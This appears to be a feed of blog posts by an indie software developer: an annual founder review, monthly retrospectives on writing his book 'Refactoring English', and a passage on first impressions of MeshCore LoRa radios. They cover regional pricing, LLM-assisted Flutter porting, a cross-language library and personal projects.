My friends with children tell me that kids won’t complicate this at all.

When I wrote that in 2019, I was in my early thirties, single, and living alone.

A few weeks after writing that post, I met someone. We moved in together at the end of that year, married a few years later, and had our first child in 2024. Now, there are lots of people in our house, as my wife and I work from home, and members of our extended family come over every weekday to help with childcare.

Despite all of those changes, my life is still how I described it seven years ago.

Okay, things aren’t exactly the same. My toddler decides when I wake up, and it’s not always the time his independence-loving father would choose. But I still feel the joy of spending my workdays on whatever I choose.

I joked back in 2019 about how kids would complicate my life as an indie founder, but it’s actually less complicated than I expected. My workdays mostly look the same. Except they’re more fun because anytime I want, I can take a break from work to go play with my son.

After several years of just “enjoying” life as a bootstrapped founder, I’m happy to say that I love it again. I still want to do it forever.

Lessons learned

Writing a book takes longer than I expected

I originally thought I’d finish the book in six months, but I’m 13 months in and still have about 20% left.

From reading about other developers’ experience writing books, underestimating time seems to be the norm. Teiva Harsanyi thought he’d be done in eight months, but it actually took him almost two years. Austin Henley started writing a book in 2023 and it dragged on for about two years before he got tired of working with his publisher and canceled his book deal.

I enjoy my work when it feels aligned with me

As much as I love writing code, programming itself isn’t enough to make me enjoy my work. I need to find a business that matches my interests, values, and skills.

I can be a bootstrapped founder and a parent

Before I became a parent, I worried that I wouldn’t have the flexibility to be a founder. In the first few months after my son arrived, I worried that parenting would take up so much time that I couldn’t work at all, much less run my own business.

Fortunately, I’ve been able to find a comfortable balance where I spend my workdays as a founder while still being the parent I want to be.

Grading last year’s goals

Last year, I set three high-level goals that I wanted to achieve during the year. Here’s how I did against those goals:

Earn $50k in profit

Result: I earned $8.2k in profit.
Grade: D

I wasn’t confident I’d earn $50k from the book, but I thought I’d have time while writing to launch side businesses. I also expected to complete the book in just six months, giving me even more time for new business ideas in the second half of the year.

Instead, I spent the full year on the book. It made $11.8k, which I’m proud of as pre-sales for a first-time author, but it’s less than I hoped to earn this year.

Publish a course or book

Result: I’m about 80% done with my book.
Grade: C

Okay, okay! I didn’t finish the book! Enough of your cruel judgment, Michael from a year ago.

Learn a new programming language

Result: I experimented with Gleam but didn’t reach competence
Grade: D

I played around with Gleam and appreciated some aspects of it, but I never got deep enough to feel productive in the language.

I learn best when I can find a project that takes advantage of a new technology, but I couldn’t think of anything where Gleam had a compelling edge over languages I know well like Go or Python.

Goals for next year

Earn five book citations

I’d like to find at least five examples of readers who cite my book as a resource that helped them achieve something tangible (e.g., grow their blog readership, get a promotion).

Earn $75k in profit

I earned $8.2k this year, so I just have to do 9x as well next year. But honestly, I think this is doable if I can keep finding new readers for the book and try a few business ideas.

Create a profitable software business

I’ve enjoyed a year of writing, but I’d like to do more software development, as that’s still what I find most exciting.

All annual reviews

My First Year as a Solo Developer- Feb. 1, 2019
My Second Year as a Solo Developer- Jan. 31, 2020
My Third Year as a Solo Developer- Feb. 1, 2021
My Fourth Year as a Bootstrapped Founder- Feb. 1, 2022
My Fifth Year as a Bootstrapped Founder- Feb. 10, 2023
My Sixth Year as a Bootstrapped Founder- Feb. 16, 2024
My Seventh Year as a Bootstrapped Founder- Feb. 3, 2025
My Eighth Year as a Bootstrapped Founder- Feb. 3, 2026

Cover image by Piotr Letachowicz.

Refactoring English: Month 13

Wed, 14 Jan 2026 00:00:00 +0000

New here?

Hi, I’m Michael. I’m a software developer and founder of small, indie tech businesses. I’m currently working on a book called Refactoring English: Effective Writing for Software Developers.

Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.

Highlights

I added regional pricing for my book based on purchasing power parity.
I created my first Flutter app.
I’m writing my first cross-language library.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Publish a game that attracts people to the Refactoring English website

Result: Published “The Most Popular Blogs of Hacker News in 2025” instead
Grade: B

The blog post was a risky bet because it only could reach new readers if it hit the front page of Hacker News, and its only chance of that is the first couple weeks of 2026.

Fortunately, the post reached #1 on Hacker News and remained on the front page for almost 22 hours. It continues my strategy of highlighting other successful tech writers, a strategy I like because it feels like a win-win for me, readers, and the writers I showcase.

I still have the Hacker News prediction game at about 80% complete. I’m not sure what to do with it because it’s almost done, but I feel like it’s not fun, so I’m never motivated to complete it. But I want to get it over the finish line to see what people think.

Publish two chapters of Refactoring English

Result: Made progress on two chapters but didn’t complete them
Grade: D

Ironically, the chapters I’m working on are about motivation and focus, but I keep letting my experiments with MeshCore interfere with my writing. I’ve been better at maintaining focus in the new year, and distractions are actually helpful because I’m getting fresh experience to write about regaining focus.

Result: Got 80% through a design doc draft
Grade: C

Again, I got distracted by MeshCore experiments in December and didn’t make as much progress as I wanted. I love design docs and find them helpful but they’re also incredibly boring to write, so it was always tempting to shelve the design doc for something with more instant gratification.

Refactoring English metrics

Metric	November 2025	December 2025	Change
Unique visitors	7,608	2,266	-5,342 (-70%)
Revenue from pre-orders	$1,018.48	$492.55	-$525.93 (-52%)
Revenue from sponsors	$48.25	$48.25	$0.00 (0%)
Total Revenue	$1,066.73	$540.80	-$525.93 (-49%)

Pre-sales are down because I didn’t have any new posts to attract new readers (I didn’t publish the Hacker News post until January). Still, it’s a positive sign that my “passive sales” continue to grow. In December, I had almost $500 in pre-sales. If I compare that to months with similar website visitors, May had only $241 in pre-sales, and August had $361, so the numbers are trending up. I hope that as the book grows more complete and more readers recommend it, the passive sales continue to rise without relying on me finding a successful marketing push each month.

Adding regional pricing for my book

When I ran my Black Friday promotion in November, a reader emailed to say that 30% off (US$20) is still an unaffordable price in Argentina for a book. He asked if I’d consider regional pricing. He mentioned that Steam games are typically priced 50% lower in Argentina than the US, so I figured that was a good anchor.

I collect payments through Stripe, and I couldn’t find any option for regional pricing in my Stripe dashboard. I found an article in Stripe’s knowledge base called “Geographic pricing in practice: Why it matters and how to implement it.” I was delighted until I read the entire article and discovered they’d forgotten to write the “and how to implement it” part.

So, Stripe advocates for regional pricing, but they don’t actually offer it as an option. It was a helpful reminder that Stripe is the worst payment processor except for all those other payment processors.

So, for my Argentinian customer, I used a one-off process where I manually created a custom payment link for him at a discounted price. And when I went through the process, I realized I could set the price in Argentine pesos so he wouldn’t have to pay a currency conversion fee. I set the price to 22,000 ARS (about US$15), and he seemed happy with the price and the checkout experience.

The reader suggested I publicly offer regional pricing, at least for countries like Brazil and India, which have high numbers of developers but relatively low purchasing power.

Even without native Stripe support for regional pricing, it seemed like it wouldn’t be that hard to automate the thing I did manually. I read about Sebastien Castiel implementing regional pricing for his course, which led me to Wes Bos’ post about the same thing.

Sebastien shared a lot of technical details, but his solution was heavy on React, whereas my site is vanilla HTML and JavaScript. He also relied on discount codes, which I don’t like because it means most customers see that there’s a special deal they’re not getting.

I spent a few hours implementing a solution using a cloud function that determines the right price on the fly and dynamically creates a Stripe checkout link. Then, I realized I could precompute everything and eliminate the need for server-side logic, so I deleted my cloud function.

My implementation looks like this:

Manually get a list of all countries / currencies that Stripe supports.
Write a script that pulls data from the World Bank to calculate the purchasing power parity (PPP) for each country in the list.
Calculate each country’s discount based on their purchasing power relative to the US.
- e.g., the PPP of Brazil is 54% lower than the US, so they get a 54% discount.
Filter out countries where the PPP is within 15% of the US (too small a discount to bother).
Filter out countries where the discount would be negative.
- Otherwise, customers in Luxembourg would have to pay double.
Limit the discount to a maximum of 75%
- Otherwise the price in Egypt would be US$4, meaning I’d get like $3.50 after conversion fees.
Automatically generate country-specific Stripe price objects and Stripe payment links for each country remaining in the list.
Put all the countries in an HTML dropdown on my site:

The user just picks their country and it activates the Stripe purchase link for that country, and they pay in their own currency.

I’m going by the honor system, so I don’t bother with IP geolocation or VPN prevention. I do hide the discount for each country to discourage people from picking the cheapest option. And part of the benefit of pricing in each country’s local currency is that if someone cheats and picks a region that’s not really their home currency, they lose some money in conversion fees.

The numbers feel not quite correct. According to strict PPP, the equivalent of $30 in the US is $4 in Egypt, but I suspect you can’t really buy non-bootleg books for programmers in Egypt for $4.

When Wes Bos did this, he just asked his readers to tell him fair prices, so I’ll try that too. Leave a comment or email me the normal price range for developer-oriented books in your country.

Creating my first Flutter app

In December, I published “My First Impressions of MeshCore Off-Grid Messaging.” I was excited about the technology but disappointed to discover that the clients are all closed-source.

At that point, I decided to pause my exploration of MeshCore, but Frieder Schrempf, a MeshCore contributor, replied to my post with this interesting perspective:

I share a lot of your thoughts on this topic. Personally I see the value of MeshCore in the protocol and not so much in the software implementations of the firmware, apps, etc. […] If MeshCore as a protocol succeeds and gets widely used (currently it looks like it does) then properly maintained open-source implementations will follow (at least I hope).

I agreed with Frieder and thought, “Maybe I should just write a proof of concept open-source MeshCore app?”

Actually, there already was a proof of concept MeshCore app. Liam Cottle, the developer of the official MeshCore app, previously wrote a web app for MeshCore as a prototype for the official version. He deprecated it when he made the official (proprietary) MeshCore app, but the source code for his prototype was still available, and the prototype had most of the features I needed.

I wondered how difficult it would be to port the prototype to mobile. MeshCore is too hard to use as a web app, as it requires Bluetooth access and offline mode. I’ve heard somewhat positive things about Flutter, Google’s solution for cross-platform mobile development. I suspected that an LLM could successfully port the code from the web prototype to Flutter without much intervention from me.

My plan was to have an LLM create a Flutter port of the prototype in three stages:

Write end-to-end tests for the prototype web app using Playwright.
Port the prototype implementation to a Flutter web app, keeping the end-to-end tests constant to ensure feature parity.
Add an Android build to the Flutter project.

That worked, but every step was clunkier than I anticipated:

Before I could write end-to-end tests for the prototype, I had to convert it to use semantic HTML and ARIA attributes because a lot of the input labels were just bare <div>s.
I couldn’t keep the Playwright tests constant because Flutter actually doesn’t emit semantic HTML for web apps. It creates its own Flutter-specific HTML dialect and draws everything on an HTML canvas. Most Playwright element locators still work somehow, but I had to make a lot of Flutter-specific changes to the tests.
It took a long time, even with an LLM, to figure out how to build an Android package with Flutter.
- Gradle, Android’s build system, is buggy on NixOS. I kept running into situations where it was failing with mysterious errors that eventually turned out to be stale data it had cached in my home directory.
Flutter makes it surprisingly difficult to communicate over Bluetooth. On the web (at least on Chrome), you essentially get it for free by calling navigator.bluetooth.requestDevice, but with Flutter, you have to use a proprietary third-party library and roll your own device picker UI.

I thought it would be a quick weekend project I could whip together in a few hours. 30 hours and $200 in LLM credits later, I finally got it working.

Running my MeshCore Flutter app on a real Android device

But the day I got my Flutter implementation to feature parity with the prototype, I went to share it on Reddit and saw someone had just shared meshcore-open, a MeshCore client implementation in Flutter. It was the same idea I had but with far better execution.

I was disappointed someone beat me to the punch, but I was also relieved. From my brief experience working with Flutter, I was eager to get away from Flutter as quickly as possible. I only wanted to make a proof of concept hoping someone else would pick it up, so I’m happy that there’s now an open-source, feature-rich MeshCore client implementation.

Maybe what MeshCore needs is a cross-language library

While working on my MeshCore Flutter app, I had to implement low-level logic to parse MeshCore device-to-client messages. There’s a public spec that defines MeshCore’s peer-to-peer protocol, and even that’s fairly loose. But there’s another undocumented protocol for how a device running MeshCore firmware communicates with a companion client (e.g., an Android app) over Bluetooth or USB.

The de facto reference implementation is the MeshCore firmware, but it intermingles peer-to-peer protocol logic with device-to-client protocol logic and UI logic, and it spreads the implementation across disparate places in the codebase.

For example, a MeshCore client can fetch a list of contacts from a MeshCore device over Bluetooth, but it has to deserialize the raw bytes back into contacts. There’s no library for decoding the message, so each MeshCore client and library is rolling their own separate implementation:

What I notice about those implementations:

They have to use magic numbers like 32 rather than referring to constants defined in some authoritative location.
None of them have automated tests for their parsers.
They’re dragging unnecessary low-level work into high-level languages. For example, everyone is storing outPath and outPathLen variables. That’s an artifact of the C implementation, where arrays don’t know their size. You don’t have to manually track an array’s size in languages like JavaScript, Python, or Dart.
They don’t check data carefully, so they’ll happily pass on garbage data like a negative path length or GPS coordinates that are outside of Earth’s bounds.
They all ignore the flags field even though the flags are supposed to indicate which fields are populated. Or at least they’re supposed to in the peer-to-peer messages. For device-to-client messages, they seem to be meaningless.

My first thought was to rewrite the logic using a protocol library like protobuf or Cap’n Proto, but I don’t see a backwards-compatible way of integrating a third-party library at this point.

So, what if I wrote a core implementation of the MeshCore device-to-client protocol in C? I could add language-specific bindings so that we don’t need whole separate implementations for Dart, Python, JavaScript, and any other language you’d want to write in.

So, I started my own MeshCore client library:

https://codeberg.org/mtlynch/libmeshcore-client

The library is not ready to demo as a proof of concept, but it’s close.

It’s entirely possible the MeshCore maintainers won’t like this idea, and it’s basically dead in the water without their buy-in. But I did it anyway because I’d never tried writing a cross-language library, and that was an interesting experience.

The last time I tried to call C code from Python was 20 years ago, and I had to use SWIG. Back then, it felt painful and hacky, and it seems to have gotten 80% better.

I desperately wanted the core implementation to be Zig rather than C, but I saw too many blockers:

Zig does not yet compile to xtensa architecture, which most of the MeshCore devices use.
PlatformIO, which most of the MeshCore firmware projects use, does not support Zig.
Dart’s ffigen would maybe work with Zig since Zig supports C’s ABI, but it was hard even getting it to work with C.
- Ditto for Python’s cffi.

Wrap up

What got done?

I got most of the way through writing two new chapters of Refactoring English.
I got most of the way through writing the design doc for my photo sharing app idea.
I published “The Most Popular Blogs of Hacker News in 2025.”
I created my first Flutter app.
I created my first cross-language library.
I made some contributions to MeshCore meshcore.js.
- Most of which, the maintainers are ignoring.

Lessons learned

Minimize in-flight projects
- AI makes it easier than ever to start new projects, but I’m still the bottleneck on turning them into something production-ready. The result is that I have a lot of projects that are in-flight and waiting for me to review them before I publish them. There’s mental overhead in so much context-switching and task tracking.

Goals for next month

Publish three chapters of Refactoring English.
Publish my 2025 annual review (year 8).

Requests for help

Is $30 (USD) for a developer-oriented book expensive where you live? If so, let me know what you’d expect to pay for a programming book like Designing Data-Intensive Applications in your country (in local currency).

Refactoring English: Month 12

Thu, 11 Dec 2025 00:00:00 +0000

New here?

Hi, I’m Michael. I’m a software developer and founder of small, indie tech businesses. I’m currently working on a book called Refactoring English: Effective Writing for Software Developers.

Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.

Highlights

I’m working on a game to predict which posts will reach the front page of Hacker News.
I’m creating a family photo sharing app out of spite.
I switched to a keyboard-first window manager.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Publish two new book chapters

Result: Published one new chapter
Grade: C

I’ve gotten stuck on my design docs chapter. There’s a lot I want to cover, and I’m having trouble articulating some of it and deciding how much of it belongs in the book.

Part of the problem is that the chapter is so long that it feels overwhelming to tackle all at once. My new plan is to break the chapter into smaller sections and focus on those one at a time. I think this is my last “hard” chapter, as I have a better sense of what I want to say in the remaining chapters.

Reach out to 10 readers

Result: I only reached out to two readers (one responded).
Grade: D

I keep procrastinating on this even though I enjoy doing it and get useful responses. I keep automating more of the logistical work in the hopes that reducing initial friction will motivate me to do it more.

Create a tool or blog post that brings people to the Refactoring English website

Result: Published “What Makes the Intro to Crafting Interpreters so Good?”
Grade: B

3,508 people read the post, so it was somewhat successful at attracting new readers. Bob Nystrom, the author I was writing about, liked my article, which was gratifying. I figured even if my article flopped, at least it would let Bob Nystrom know how much I appreciated his work.

Refactoring English metrics

Metric	October 2025	November 2025	Change
Unique visitors	22,398	7,608	-14,790 (-66%)
Revenue from pre-orders	$570.75	$1,018.48	+$447.73 (+78%)
Revenue from sponsors	$48.25	$48.25	$0.00 (0%)
Total Revenue	$619.00	$1,066.73	+$447.73 (+72%)

November was a good month in terms of visits and sales. Visits were down slightly from October, but it was still one of the strongest months of the year.

I did a Black Friday discount for 30% off. I only advertised it to readers on my mailing list, as I always feel strange spamming a sale everywhere. But the announcement was successful, as 18 customers purchased for a total of $359.41.

Peter Spiess-Knafl, co-founder of zeitkapsl, cited Refactoring English in a blog post, which reached #1 on Lobsters. I was glad to see Peter’s post, as my plan for the book has always been for it to help readers write successful blog posts and be happy enough about the book that they recommend it.

“Will it Hit the Front Page?” the game

I read Hacker News so often that I feel like I’d be good at predicting which stories will reach the front page, but I’ve never tested this belief rigorously. So, I made a game to test my accuracy.

The game shows me the newest submissions to Hacker News, and the player predicts whether or not they’ll reach the front page:

The biggest problem with the game is that a story can take up to 24 hours to reach the front page. Waiting 24 hours for results sucks the fun out of the game.

I tried changing the rules so that you’re predicting whether an article will reach the front page in its first 30 minutes, but 30 minutes still feels painfully slow.

My new idea is to make a tentative call 10 minutes after a story has been submitted. Given the story’s age, upvotes, and comment count, I can calculate some rough probability of whether it has a chance of hitting the front page. So, if you predicted a story would reach the front page, but 10 minutes later, it still has no upvotes or comments, the game will tentatively tell you that you got it wrong, but you can still get the points back if the story makes a miraculous comeback in the next 24 hours.

I thought about making a version of the game where you guess the results of past stories. That way, I could give instant feedback because the answer is already available, but that feels less fun, as other people have made similar games. Plus, for the HN diehards I’m hoping this game appeals to, past data ruins it because you kind of remember what was on the front page and what wasn’t.

Building a free TinyBeans alternative out of spite

My wife and I had our first child last year, so we wanted a way to share baby photos with our family privately. Some of my friends had used apps like this, but they were all ad-supported. I hate the idea of companies slapping ads on photos of my child, so I looked for other options.

When I came across TinyBeans, I thought I’d found a winner. They had a paid version that disabled ads, and privacy was the main feature they advertised: perfect!

Then, I started using TinyBeans, and there were ads everywhere. “Buy our photo books!” “Give us more personal information!”

I opened the app just now and had to dismiss three separate ads to see photos of my own child.

TinyBeans shows me three huge ads when I open the app, even though I’m a paying customer and have dismissed these exact ads dozens of times before.

It also turns out that my family members receive even more ads than I see, including for third-party services. Here’s a recent one that encourages my family to invest in some scammy AI company:

When TinyBeans sends emails to my family, they stick spammy ads like these in between photos of my son.

The “no ads” promise of the paid tier is limited to me and my wife; TinyBeans bombards everyone else in my family with ads and upsells.

I wanted to ditch TinyBeans early on, but I was too busy with new parent stuff to find a new app and migrate my whole family to it. So, each month, I begrudgingly give TinyBeans my $9.

Then, Black Friday happened.

TinyBeans sent me an email patting themselves on the back for not cluttering my inbox with Black Friday deals because all the deals would be in the app.

TinyBeans sends me a pointless email to boast about not cluttering my inbox with pointless emails.

Great, an email congratulating yourself about how little you’ll email me.

But that wasn’t even true! TinyBeans proceeded to send me four more emails telling me to check my app for Black Friday deals:

After promising not to bombard me with Black Friday promotions, TinyBeans emailed me five Black Friday promotions.

That pushed me over the edge, and now I’m on a spite mission to create my own TinyBeans replacement and stop giving TinyBeans my money.

“And what are your reasons for wanting to create an app to share baby photos?”

The only functionality I care about in TinyBeans is:

My family can browse the baby photos and videos I’ve uploaded.
My family members can subscribe to receive new photos and videos via email.
My family members can comment or give emoji reactions to photos.

How hard could that be? 20 hours of dev work?

The TinyBeans web and Android apps suck anyway, so I’ll be glad to move away from them. And because the experience is mostly email-based, I can replace TinyBeans with my own app without my family having to do any work as part of the migration.

I’m not starting a company to compete with TinyBeans. I just want to make a web app that replaces TinyBeans’ functionality.

Switching to Awesome Window Manager

One of my shameful secrets as a developer is that I’m bad at managing windows on my screen. I compensate by overusing my mouse, even though that’s slow and inefficient.

Last year, I switched from Windows to Linux and got a 49" ultrawide monitor. While Windows was designed for mouse-happy users like me, Linux desktops are much more keyboard-focused, so my lack of keyboard discipline began catching up with me. I’d keep opening windows and never close them, so I’d end up with 10+ VS Code windows, 10+ Firefox windows, and 5 different instances of the calculator app for one-off calculations. They were all in one big pile in the middle of my desktop.

At that point, it was obvious I was wasting tons of screen real estate and burning time locating my windows. I tried a few different window managers, but I kept running into issues. Like I couldn’t get lockscreens to work, or they’d fail to use my monitor’s full 5120x1440 resolution.

The fastest person I’ve ever seen navigate their computer is my friend okay zed. I asked him for advice, and he explained his approach to window management. His strategy is to use many virtual desktops where windows are almost always full screen within the desktop. He uses xmonad, but he suggested I try Awesome Window Manager.

I liked okay’s philosophy of single-purpose virtual desktops, so I created an Awesome window manager configuration around it. So, I have a dedicated desktop for my blog, a dedicated desktop for my book, one for email, etc. I try to limit myself to 1-2 windows per desktop, but sometimes I’ll pull up a third or fourth while looking something up.

Here’s what my blog desktop looks like, which is pretty typical: one VS Code window for editing, one Firefox window for viewing the result, and sometimes a second Firefox window for looking stuff up:

I didn’t like any of the default desktop modes, so I had to roll my own. It gives each window 25% of my screen’s width, and if I open more than four, it squishes everything to fit. I can also manually expand or contract windows with Shift+Win+H and Shift+Win+L. Except sometimes I accidentally lock myself out because Win+L is my hotkey for locking the screen.

Based on a few weeks with Awesome, here’s how I’m feeling:

What I like
- Encourages me to keep single-purpose desktops for better focus.
- Encourages me to navigate via keyboard hotkeys rather than mouse clicks.
- Doesn’t crash on suspend 2% of the time like Gnome did.
What I dislike
- Everything is implemented in and configured through Lua, a language I don’t know. I’m using LLMs to write all my configs.
- The configuration is fairly low-level, so you have to write your own logic for things like filling the viewport without overflowing it.
- I don’t like any of the default desktop modes, so I had to roll my own.
- The documentation is all text, which feels bizarre for software designed specifically around graphics.
- If you accidentally define conflicting hotkeys, Awesome doesn’t warn you.
- If I click a link outside of Firefox, sometimes it loads the link in a browser that isn’t on my current desktop. I’m guessing it loads it on whatever Firefox window I most recently touched.
What I still need to figure out
- How to implement “scratchpad” functionality. Like if I want to pull up my password manager as a floating window or summon the calculator for a quick calculation, then dismiss it.
- How to put more widgets into the status bar like network connectivity and resource usage.

Interesting links

Caching external content in your blog

I was talking to LGUG2Z on Mastodon about how annoying it is to embed tweets on my blog. If the user deletes their tweet, I end up with dead content in my post. Even when it works, my readers have to load trackers from Twitter. I’ve been working around it by just screenshotting tweets, but that’s an ugly solution.

I want to embed tweets in Hugo (the static site generator I use for this blog) with a shortcode like {<tweet id="12345">}, and then Hugo could fetch the tweet data and store it under source control so that I don’t have an ongoing dependency on Twitter.

LGUG2Z explored this idea and implemented support for it on his Zola blog. He runs a script to pre-download data once from external sources (like tweets), and then he can embed the content in his blog without re-retrieving it at blog build time or reader visit time.

I tried to adapt LGUG2Z’s solution for Hugo, but it got too complicated. I wrote a standalone script that downloads data from Twitter and then I’d render it in a tweet-like UI. Regular text tweets worked okay, but once I got to tweets with embedded media or retweets, it felt like I was building too much on shaky foundation.

Michael Stapelberg’s experience with Immich

I used to store all of my photos on Google Photos. Despite my privacy concerns, Google Photos was just so much better than anything else that I held my nose and just gave them all my photos. I’ve since become more privacy sensitive and distrustful of Google, so I stopped uploading new photos to Google Photos, but I haven’t found a replacement.

I’ve heard good things about Immich and Ente, so I was glad to see this detailed writeup from Michael Stapelberg about his experience setting up an Immich server using NixOS.

Firefox Enhanced Tracking Protection

Firefox recently improved their Enhanced Tracking Protection, a feature I didn’t realize existed. I turned it on, and it blocks trackers that uBlock was allowing and hasn’t had any false positives.

“Rich Friend, Poor Friend”

I just discovered “Rich Friend, Poor Friend” from 2022 and the follow up from a few weeks ago. I definitely relate to hiring professionals instead of asking my friends for help (e.g., hiring movers instead of asking friends).

I’m maybe in the worst part of the curve where I’m wealthy enough to not want to ask friends to help me move but not so wealthy that I have a separate guest house to make it easy to host them.

More evidence that Deel hired a corporate spy

The Deel corporate espionage story is getting surprisingly little attention in my bubble.

In March 2025, Rippling revealed that they discovered one of their employees was actually a corporate spy working for their competitor, Deel. When they caught the spy, he ran into the bathroom and tried to flush his phone down the toilet.

Rippling posted an update in November that they found banking records showing that Deel had routed payments to the spy through the wife of Deel’s COO. The wife was, coincidentally, a compliance lead at Robinhood, another company known for its scummy ethics.

As an unhappy former Deel customer, I’m happy to see them get their comeuppance.

Wrap up

What got done?

Published “What Makes the Intro to Crafting Interpreters so Good?”
Published “My First Impressions of MeshCore Off-Grid Messaging”.
Published “Add a VLAN to OPNsense in Just 26 Clicks Across 6 Screens”
Created a tiny Zig utility called count-clicks to count clicks and keystrokes on an x11 system.
Got Awesome Window Manager working.

Lessons learned

Quick feedback is important in creating a fun game.
TinyBeans actually has a lot of ads, even on the paid version.
The Awesome window manager is a better fit for my needs than Gnome.

Goals for next month

Publish a game that attracts people to the Refactoring English website.
Publish two chapters of Refactoring English.
Write a design doc for a just-for-fun family photo sharing app.

Requests for help

If you’re interested in beta testing the “Will it Hit the Front Page?” game, reach out.

My First Impressions of MeshCore Off-Grid Messaging

Tue, 02 Dec 2025 00:00:00 +0000

When my wife saw me playing with my new encrypted radio, she asked what it was for.

“Imagine,” I said, “if I could type a message on my phone and send it to you, and the message would appear on your phone. Instantly!”

She wasn’t impressed.

“It also works if phone lines are down due to a power outage… or societal collapse.” Still nothing.

“If we’re not within radio range of each other, we can route our messages through a mesh network of our neighbors’ radios. But don’t worry! The radios encrypt our messages end-to-end, so nobody else can read what we’re saying.” By this point, she’d left the room.

My wife has many wonderful qualities, but, if I’m being honest, “enthusiasm for encrypted off-grid messaging” has never been one of them.

The technology I was pitching to my wife was, of course, MeshCore.

tl; dr - What did I think?

If you’d like to skip to the end, check out the summary.

What’s MeshCore?

MeshCore is software that runs on inexpensive long-range (LoRa) radios. LoRa radios transmit up to several miles depending on how clear the path is. Unlike ham radios, you don’t need a license to broadcast over LoRa frequencies in the US, so anyone can pick up a LoRa radio and start chatting.

MeshCore is more than just sending messages over radio. The “mesh” in the name is because MeshCore users form a mesh network. If Alice wants to send a message to her friend Charlie, but Charlie’s out of range of her radio, she can route her message through Bob, another MeshCore user in her area, and Bob will forward the message to Charlie.

If Alice is within radio range of Bob but not Charlie, she can tell Bob’s MeshCore radio to forward her message to Charlie.

My dream for off-grid communication

I’m not exactly a doomsday prepper, but I plan for realistic disaster scenarios like extended power outages, food shortages, and droughts.

When I heard about MeshCore, I thought it would be neat to give some devices to friends nearby so we could communicate in an emergency. And if it turned out that we’re out of radio range of each other, maybe I could convince a few neighbors to get involved as well. We could form a messaging network that’s robust against power failures and phone outages.

Why not Meshtastic?

MeshCore is a newer implementation of an idea that was popularized by a technology called Meshtastic.

I first heard about Meshtastic from Tyler Cipriani’s 2022 blog post. I thought the idea sounded neat, but Tyler’s conclusion was that Meshtastic was too buggy and difficult for mainstream adoption at the time.

I have no particular allegiance to MeshCore or Meshtastic, as I’ve never tried either. Some people I follow on Mastodon have been excited about MeshCore, so I thought I’d check it out. Most MeshCore-compatible devices are also compatible with Meshtastic, so I can easily experiment with one and later try the other.

I only have a limited understanding of the differences between Meshtastic and MeshCore, but what I gather is that MeshCore’s key differentiator is preserving bandwidth. Apparently, Meshtastic hits scaling issues when many users are located close to each other. The Meshtastic protocol is chattier than MeshCore, so I’ve seen complaints that Meshtastic chatter floods the airwaves and interferes with message delivery. MeshCore attempts to solve that problem by minimizing network chatter.

I’m not a radio guy

I should say at this point that I’m not a radio guy.

It seems like many people in the LoRa community are radio enthusiasts who have experience with ham radios or other types of radio broadcasting.

I’m a tech-savvy software developer, but I know nothing about radio communication. If I have an incorrect mental model of radio transmission, that’s why.

Heltec v3: The cheapest introduction to MeshCore

The MeshCore firmware runs on a couple dozen devices, but the official website recommends three devices in particular. The cheapest one is the Heltec v3. I bought two for $27/ea.

At $27, the Heltec v3 is the cheapest MeshCore-compatible device I could find.

I connected the Heltec v3 to my computer via the USB-C port and used the MeshCore web flasher to flash the latest firmware. I selected “Heltec v3” as my device, “Companion Bluetooth” as the mode, and “v1.9.0” as the version. I clicked “Erase device” since this was a fresh install.

Then, I used the MeshCore web app to pair the Heltec with my phone over Bluetooth.

Fumbling around the MeshCore web app

Okay, I’ve paired my phone with my MeshCore device, but… now what?

The app doesn’t help me out much in terms of onboarding.

I try clicking “Map” to see if there are any other MeshCore users nearby.

Okay, that’s a map of New Zealand. I live in the US, so that’s a bit surprising. Even if I explore the map, I don’t see any MeshCore activity anywhere, so I don’t know what the map is supposed to do.

The map of New Zealand reminded me that different countries use different radio frequencies for LoRa, and if the app defaults to New Zealand’s location, it’s probably defaulting to New Zealand broadcast frequencies as well.

I went to settings and saw fields for “Radio Settings,” and I clicked them expecting a dropdown, but it expects me to enter a number. And then I noticed a subtle “Choose Preset” button, which listed presets for different countries that were “suggested by the community.” I had no idea what any of them meant, but who am I to argue with the community? I chose “USA/Canada (Recommended).”

I also noticed that the settings let me change my device name, so that seemed useful:

It seemed like there were no other MeshCore users within range of me, which I expected. That’s why I bought the second Heltec.

I repeated the process with an old phone and my second Heltec v3, but they couldn’t see each other. I eventually realized that I’d forgotten to configure my second device for the US frequency. This is another reason I wish the MeshCore app took initial onboarding more seriously.

Okay, they finally see each other! They can both publish messages to the public channel.

My devices could finally talk to each other over a public channel.

Figuring out direct messaging

If I communicate with friends over MeshCore, I don’t want to broadcast our whole conversation over the public channel, so it was time to test out direct messaging.

I expected some way to view a contact in the public channel and send them a direct message, but I couldn’t. Clicking their name did nothing. There’s a “Participants” view, but the only option is to block, not send a direct message.

This seems like an odd design choice. If a MeshCore user posts to the public channel, why can’t I talk to them?

I eventually figured out that I have to “Advert.” There are three options: “Zero Hop,” “Flood Routed,” and “To Clipboard.” I don’t know what any of these mean, but I figure “flood” sounds kind of rude, whereas “Zero Hop” sounds elegant, so I do a “Zero Hop.”

Great! Device 2 now sees device 1. Let’s say hi to Device 1 from Device 2.

Whoops, what’s wrong? Maybe I need to “Advert” from Device 2 as well?

Okay, I do, and voila! Messages now work.

This is a frustrating user experience. If I have to advert from both ends, why did MeshCore let me send a message on a half-completed handshake?

I’m assuming “Advert” is me announcing my device’s public key, but I don’t understand why that’s an explicit step I have to do ahead of time. Why can’t MeshCore do that implicitly when I post to a public channel or attempt to send someone a direct message?

Anyway, I can talk to myself in both public channels and DMs. Onward!

Ordering more MeshCore devices

The Heltec v3 boards were a good way to experiment with MeshCore, but they’re impractical for real-world scenarios. They require their own power source, and a phone to pair. I wanted to power it from my phone with a USB-C to USB-C cable, but the Heltec board wouldn’t power up from my phone. In a real emergency, that’s too many points of failure.

The MeshCore website recommends two other MeshCore-compatible devices, so I ordered those: the Seeed SenseCAP T-1000e ($40) and the Lilygo T-Deck+ ($100).

I bought the Seeed SenseCAP T-1000e (left) and the Lilygo T-Deck+ (right) to continue experimenting with MeshCore.

Testing the SenseCAP T-1000e

The T-1000e was a clear improvement over the Heltec v3. It’s self-contained and has its own battery and antenna, which feels simpler and more robust. It’s also nice and light. You could toss it into a backpack and not notice it’s there.

The T-1000e feels like a more user-friendly product compared to the bare circuit board of the Heltec v3.

Annoyingly, the T-1000e uses a custom USB cable, so I can’t charge it or flash it from my computer with one of my standard USB cables:

